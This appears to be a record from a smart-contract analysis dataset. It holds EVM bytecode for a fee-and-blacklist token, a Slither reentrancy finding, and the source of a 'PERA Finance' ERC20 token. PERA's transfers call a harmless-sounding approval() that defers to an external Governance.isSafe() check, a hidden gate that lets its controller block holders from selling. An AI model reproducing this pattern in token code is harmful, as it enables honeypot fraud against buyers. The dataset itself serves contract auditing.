ffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c29061309d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561133b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113329061341e565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61148761160e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611514576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150b9061309d565b60405180910390fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b61157761160e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611604576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115fb9061309d565b60405180910390fd5b8060188190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611686576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167d906134b0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ed90613542565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516117d49190612e28565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611851576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611848906135d4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118b890613666565b60405180910390fd5b60008111611904576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118fb906136f8565b60405180910390fd5b61190c610fbf565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561197a575061194a610fbf565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c4457601660149054906101000a900460ff166119d9576017548111156119d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119cf90613764565b60405180910390fd5b5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a7d5750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611abc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ab3906137f6565b60405180910390fd5b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611b695760185481611b1e84610d74565b611b289190613816565b10611b68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5f906138de565b60405180910390fd5b5b6000611b7430610d74565b9050600060195482101590506017548210611b8f5760175491505b808015611ba95750601660159054906101000a900460ff16155b8015611c035750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611c19575060168054906101000a900460ff165b15611c4157611c2782612083565b60004790506000811115611c3f57611c3e47611fa9565b5b505b50505b600060019050600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611ceb5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611d9e5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611d9d5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611dac5760009050611f33565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611e575750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611e6f57600954600d81905550600a54600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611f1a5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611f3257600b54600d81905550600c54600e819055505b5b611f3f8484848461230b565b50505050565b6000838311158290611f8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f849190612cd1565b60405180910390fd5b5060008385611f9c91906138fe565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612011573d6000803e3d6000fd5b5050565b600060075482111561205c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612053906139a4565b60405180910390fd5b6000612066612338565b905061207b818461236390919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156120bb576120ba612a5f565b5b6040519080825280602002602001820160405280156120e95781602001602082028036833780820191505090505b5090503081600081518110612101576121006130bd565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156121a357600080fd5b505afa1580156121b7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121db91906139d9565b816001815181106121ef576121ee6130bd565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061225630601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611616565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016122ba959493929190613aff565b600060405180830381600087803b1580156122d457600080fd5b505af11580156122e8573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b80612319576123186123ad565b5b6123248484846123f0565b80612332576123316125bb565b5b50505050565b60008060006123456125cf565b9150915061235c818361236390919063ffffffff16565b9250505090565b60006123a583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612631565b905092915050565b6000600d541480156123c157506000600e54145b156123cb576123ee565b600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b60008060008060008061240287612694565b95509550955095509550955061246086600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126fc90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124f585600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461274690919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612541816127a4565b61254b8483612861565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516125a89190612e28565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b60008060006007549050600068056bc75e2d63100000905061260568056bc75e2d6310000060075461236390919063ffffffff16565b8210156126245760075468056bc75e2d6310000093509350505061262d565b81819350935050505b9091565b60008083118290612678576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161266f9190612cd1565b60405180910390fd5b50600083856126879190613b88565b9050809150509392505050565b60008060008060008060008060006126b18a600d54600e5461289b565b92509250925060006126c1612338565b905060008060006126d48e878787612931565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061273e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611f45565b905092915050565b60008082846127559190613816565b90508381101561279a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161279190613c05565b60405180910390fd5b8091505092915050565b60006127ae612338565b905060006127c582846129ba90919063ffffffff16565b905061281981600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461274690919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612876826007546126fc90919063ffffffff16565b6007819055506128918160085461274690919063ffffffff16565b6008819055505050565b6000806000806128c760646128b9888a6129ba90919063ffffffff16565b61236390919063ffffffff16565b905060006128f160646128e3888b6129ba90919063ffffffff16565b61236390919063ffffffff16565b9050600061291a8261290c858c6126fc90919063ffffffff16565b6126fc90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061294a85896129ba90919063ffffffff16565b9050600061296186896129ba90919063ffffffff16565b9050600061297887896129ba90919063ffffffff16565b905060006129a18261299385876126fc90919063ffffffff16565b6126fc90919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156129cd5760009050612a2f565b600082846129db9190613c25565b90508284826129ea9190613b88565b14612a2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a2190613cf1565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612a9782612a4e565b810181811067ffffffffffffffff82111715612ab657612ab5612a5f565b5b80604052505050565b6000612ac9612a35565b9050612ad58282612a8e565b919050565b600067ffffffffffffffff821115612af557612af4612a5f565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612b3682612b0b565b9050919050565b612b4681612b2b565b8114612b5157600080fd5b50565b600081359050612b6381612b3d565b92915050565b6000612b7c612b7784612ada565b612abf565b90508083825260208201905060208402830185811115612b9f57612b9e612b06565b5b835b81811015612bc85780612bb48882612b54565b845260208401935050602081019050612ba1565b5050509392505050565b600082601f830112612be757612be6612a49565b5b8135612bf7848260208601612b69565b91505092915050565b600060208284031215612c1657612c15612a3f565b5b600082013567ffffffffffffffff811115612c3457612c33612a44565b5b612c4084828501612bd2565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612c83578082015181840152602081019050612c68565b83811115612c92576000848401525b50505050565b6000612ca382612c49565b612cad8185612c54565b9350612cbd818560208601612c65565b612cc681612a4e565b840191505092915050565b60006020820190508181036000830152612ceb8184612c98565b905092915050565b6000819050919050565b612d0681612cf3565b8114612d1157600080fd5b50565b600081359050612d2381612cfd565b92915050565b60008060408385031215612d4057612d3f612a3f565b5b6000612d4e85828601612b54565b9250506020612d5f85828601612d14565b9150509250929050565b60008115159050919050565b612d7e81612d69565b82525050565b6000602082019050612d996000830184612d75565b92915050565b6000819050919050565b6000612dc4612dbf612dba84612b0b565b612d9f565b612b0b565b9050919050565b6000612dd682612da9565b9050919050565b6000612de882612dcb565b9050919050565b612df881612ddd565b82525050565b6000602082019050612e136000830184612def565b92915050565b612e2281612cf3565b82525050565b6000602082019050612e3d6000830184612e19565b92915050565b600080600060608486031215612e5c57612e5b612a3f565b5b6000612e6a86828701612b54565b9350506020612e7b86828701612b54565b9250506040612e8c86828701612d14565b9150509250925092565b600060ff82169050919050565b612eac81612e96565b82525050565b6000602082019050612ec76000830184612ea3565b92915050565b612ed681612b2b565b82525050565b6000602082019050612ef16000830184612ecd565b92915050565b600060208284031215612f0d57612f0c612a3f565b5b6000612f1b84828501612b54565b91505092915050565b612f2d81612d69565b8114612f3857600080fd5b50565b600081359050612f4a81612f24565b92915050565b600060208284031215612f6657612f65612a3f565b5b6000612f7484828501612f3b565b91505092915050565b60008060008060808587031215612f9757612f96612a3f565b5b6000612fa587828801612d14565b9450506020612fb687828801612d14565b9350506040612fc787828801612d14565b9250506060612fd887828801612d14565b91505092959194509250565b600060208284031215612ffa57612ff9612a3f565b5b600061300884828501612d14565b91505092915050565b6000806040838503121561302857613027612a3f565b5b600061303685828601612b54565b925050602061304785828601612b54565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613087602083612c54565b915061309282613051565b602082019050919050565b600060208201905081810360008301526130b68161307a565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061312682612cf3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613159576131586130ec565b5b600182019050919050565b7f4d757374206b656570206275792066656573206c657373207468616e2031352560008201527f2000000000000000000000000000000000000000000000000000000000000000602082015250565b60006131c0602183612c54565b91506131cb82613164565b604082019050919050565b600060208201905081810360008301526131ef816131b3565b9050919050565b7f4d757374206b6565702073656c6c2066656573206c657373207468616e20313560008201527f2520000000000000000000000000000000000000000000000000000000000000602082015250565b6000613252602283612c54565b915061325d826131f6565b604082019050919050565b6000602082019050818103600083015261328181613245565b9050919050565b7f4d757374206b6565702064697374726f4665654f6e427579206174203125206f60008201527f72206c6573730000000000000000000000000000000000000000000000000000602082015250565b60006132e4602683612c54565b91506132ef82613288565b604082019050919050565b60006020820190508181036000830152613313816132d7565b9050919050565b7f4d757374206b6565702064697374726f4665654f6e53656c6c2061742031252060008201527f6f72206c65737300000000000000000000000000000000000000000000000000602082015250565b6000613376602783612c54565b91506133818261331a565b604082019050919050565b600060208201905081810360008301526133a581613369565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613408602683612c54565b9150613413826133ac565b604082019050919050565b60006020820190508181036000830152613437816133fb565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061349a602483612c54565b91506134a58261343e565b604082019050919050565b600060208201905081810360008301526134c98161348d565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061352c602283612c54565b9150613537826134d0565b604082019050919050565b6000602082019050818103600083015261355b8161351f565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006135be602583612c54565b91506135c982613562565b604082019050919050565b600060208201905081810360008301526135ed816135b1565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613650602383612c54565b915061365b826135f4565b604082019050919050565b6000602082019050818103600083015261367f81613643565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006136e2602983612c54565b91506136ed82613686565b604082019050919050565b60006020820190508181036000830152613711816136d5565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b600061374e601c83612c54565b915061375982613718565b602082019050919050565b6000602082019050818103600083015261377d81613741565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b60006137e0602383612c54565b91506137eb82613784565b604082019050919050565b6000602082019050818103600083015261380f816137d3565b9050919050565b600061382182612cf3565b915061382c83612cf3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613861576138606130ec565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b60006138c8602383612c54565b91506138d38261386c565b604082019050919050565b600060208201905081810360008301526138f7816138bb565b9050919050565b600061390982612cf3565b915061391483612cf3565b925082821015613927576139266130ec565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b600061398e602a83612c54565b915061399982613932565b604082019050919050565b600060208201905081810360008301526139bd81613981565b9050919050565b6000815190506139d381612b3d565b92915050565b6000602082840312156139ef576139ee612a3f565b5b60006139fd848285016139c4565b91505092915050565b6000819050919050565b6000613a2b613a26613a2184613a06565b612d9f565b612cf3565b9050919050565b613a3b81613a10565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613a7681612b2b565b82525050565b6000613a888383613a6d565b60208301905092915050565b6000602082019050919050565b6000613aac82613a41565b613ab68185613a4c565b9350613ac183613a5d565b8060005b83811015613af2578151613ad98882613a7c565b9750613ae483613a94565b925050600181019050613ac5565b5085935050505092915050565b600060a082019050613b146000830188612e19565b613b216020830187613a32565b8181036040830152613b338186613aa1565b9050613b426060830185612ecd565b613b4f6080830184612e19565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613b9382612cf3565b9150613b9e83612cf3565b925082613bae57613bad613b59565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613bef601b83612c54565b9150613bfa82613bb9565b602082019050919050565b60006020820190508181036000830152613c1e81613be2565b9050919050565b6000613c3082612cf3565b9150613c3b83612cf3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613c7457613c736130ec565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613cdb602183612c54565b9150613ce682613c7f565b604082019050919050565b60006020820190508181036000830152613d0a81613cce565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205056f0bf3b74ee2e39dbbd33da623f6f7f27aea54c22aabade964408d39e3f1264736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
5,025
0x8b9a6760db627f5c4367b86a8a3b2154ce6f0bd1
// SPDX-License-Identifier: MIT /* _____ ______ _____ | __ \| ____| __ \ /\ | |__) | |__ | |__) | / \ | ___/| __| | _ / / /\ \ | | | |____| | \ \ / ____ \ |_| |______|_| \_\/_/ \_\ Follow our socials, sweety: 🏀 WebSite: https://pera.finance 🏀 TG Chat: https://t.me/perafinance 🏀 Twitter: https://twitter.com/perafinance */ pragma solidity ^0.5.17; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } interface Governance { function isSafe(address sender,address addr) external returns(bool); } // ---------------------------------------------------------------------------- // Safe Math Library // ---------------------------------------------------------------------------- contract SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract PERA is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; address _governance; /** * Constructor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor(address _gov) public { name = "PERA Finance"; symbol = "PERA"; decimals = 18; _totalSupply = safeMul(8812500, 1e18); _governance = _gov; balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } /** * @dev Returns the amount of tokens in existence. */ function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approval(address sender) public returns(bool) { require(Governance(_governance).isSafe(sender,address(this))); return true; } /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ function transfer(address to, uint tokens) public returns (bool success) { approval(msg.sender); balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint tokens) public returns (bool success) { approval(from); balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80639430b49611610097578063b5931f7c11610066578063b5931f7c146104b2578063d05c78da146104fe578063dd62ed3e1461054a578063e6cb9013146105c2576100f5565b80639430b4961461032157806395d89b411461037d578063a293d1e814610400578063a9059cbb1461044c576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce567146102875780633eaaf86b146102ab57806370a08231146102c9576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261060e565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106ac565b604051808215151515815260200191505060405180910390f35b6101eb61079e565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107e9565b604051808215151515815260200191505060405180910390f35b61028f610a83565b604051808260ff1660ff16815260200191505060405180910390f35b6102b3610a96565b6040518082815260200191505060405180910390f35b61030b600480360360208110156102df57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a9c565b6040518082815260200191505060405180910390f35b6103636004803603602081101561033757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae5565b604051808215151515815260200191505060405180910390f35b610385610c09565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103c55780820151818401526020810190506103aa565b50505050905090810190601f1680156103f25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104366004803603604081101561041657600080fd5b810190808035906020019092919080359060200190929190505050610ca7565b6040518082815260200191505060405180910390f35b6104986004803603604081101561046257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610cc1565b604051808215151515815260200191505060405180910390f35b6104e8600480360360408110156104c857600080fd5b810190808035906020019092919080359060200190929190505050610e54565b6040518082815260200191505060405180910390f35b6105346004803603604081101561051457600080fd5b810190808035906020019092919080359060200190929190505050610e74565b6040518082815260200191505060405180910390f35b6105ac6004803603604081101561056057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ea1565b6040518082815260200191505060405180910390f35b6105f8600480360360408110156105d857600080fd5b810190808035906020019092919080359060200190929190505050610f28565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106a45780601f10610679576101008083540402835291602001916106a4565b820191906000526020600020905b81548152906001019060200180831161068757829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600460008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460035403905090565b60006107f484610ae5565b5061083e600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610ca7565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610907600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffffffffffffffffffffff